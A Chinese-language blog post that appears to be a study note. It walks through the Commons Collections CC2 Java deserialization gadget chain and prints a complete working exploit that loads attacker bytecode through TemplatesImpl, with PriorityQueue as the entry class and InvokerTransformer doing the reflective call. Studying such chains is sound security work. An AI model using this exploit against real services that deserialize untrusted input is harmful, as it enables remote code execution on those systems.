java反序列化之CC2

SoloWalker Lv3

java反序列化之CC2

CC2 链分析

CC2 这条链子是在 CC4 的基础上修改了一部分,主要是为了避免使用Transformer数组。

在 CC4 的基础上,抛弃了用InstantiateTransformer类将TrAXFilter初始化,以及 TemplatesImpl.newTransformer() 这个步骤。

CC2 的前半部分,还是和compare()方法相关,最后是TemplatesImpl动态加载字节码,和 CC4 最后部分是一样的。而难点就在InvokerTransformer的连接。

EXP 编写

先回顾一下调用链:

  1. 入口类我们选择PriorityQueue,因为这个类实现了java.io.Serializable接口,也有重写的readObject方法,在readObject方法中调用了PriorityQueue.heapify()heapify()方法中调用了PriorityQueue.siftDown()方法,siftDown()方法中调用了PriorityQueue.siftDownUsingComparator()方法,siftDownUsingComparator()方法中会调用comparator属性的compare()方法。

  2. 此时我们把comparator属性初始化为TransformingComparator对象,就会调用TransformingComparator对象的compare()方法,compare()方法中会调用transformer属性的transform()方法,transformer属性是在我们实例化这个类的时候传的参数赋值的,所以我们传一个InvokerTransformer对象,就会调用transform方法实现反射调用任意类。

    但目前有一个问题,调用InvokerTransformer.transform()传的参数要是我们实例化的TemplatesImpl,但是是怎么把这个参数传递进去的?在 CC4 中分析过,我们要对priorityQueue这个对象add两次才能运行,这里关键就在于这个add
    在 CC4 中也分析过,调用add方法也会触发compare()方法,这样就会导致没有进行序列化时就加载了字节码。所以我们会先把TransformingComparatortransformer属性设置为一个无关值,等add完之后在反射改回来。同时,如果我们add(templates)两次,这样不仅能够进入循环,还能把templates传入compare()方法,从而实现调用到InvokerTransformer.transform(templates)

  3. 这样就进入InvokerTransformer的反射调用环节,如果我们想要动态加载字节码,此时需要调用templatesnewTransformer方法,我们把newTransformer方法放到InvokerTransformer.transform()方法中去就能实现。

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class test {

public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();

Class<? extends TemplatesImpl> templatesClass = templates.getClass();
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"abc");

Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\java安全学习过程中的测试代码\\Calc.class"));
byte[][] codes={evil};
bytecodes.set(templates,codes);

InvokerTransformer invokerTransformer = new InvokerTransformer<>("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);

Class<? extends TransformingComparator> c = transformingComparator.getClass();
Field transformer = c.getDeclaredField("transformer");
transformer.setAccessible(true);
transformer.set(transformingComparator,invokerTransformer);

serialize(priorityQueue);
unserialize("ser.bin");
}
}

总结

CC 链直接差别都不大,前面的学懂了后面的链子很容易上手。

CC2 和别的链子的差别就是没有Transformer 数组,不用数组是因为比如 shiro 当中的漏洞,它会重写很多动态加载数组的方法,这就可能会导致我们的 EXP 无法通过数组实现。

  • 标题: java反序列化之CC2
  • 作者: SoloWalker
  • 创建于 : 2026-05-18 00:00:00
  • 更新于 : 2026-05-24 19:53:17
  • 链接: https://s0lowalker.github.io/2026/05/18/java反序列化之CC2/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论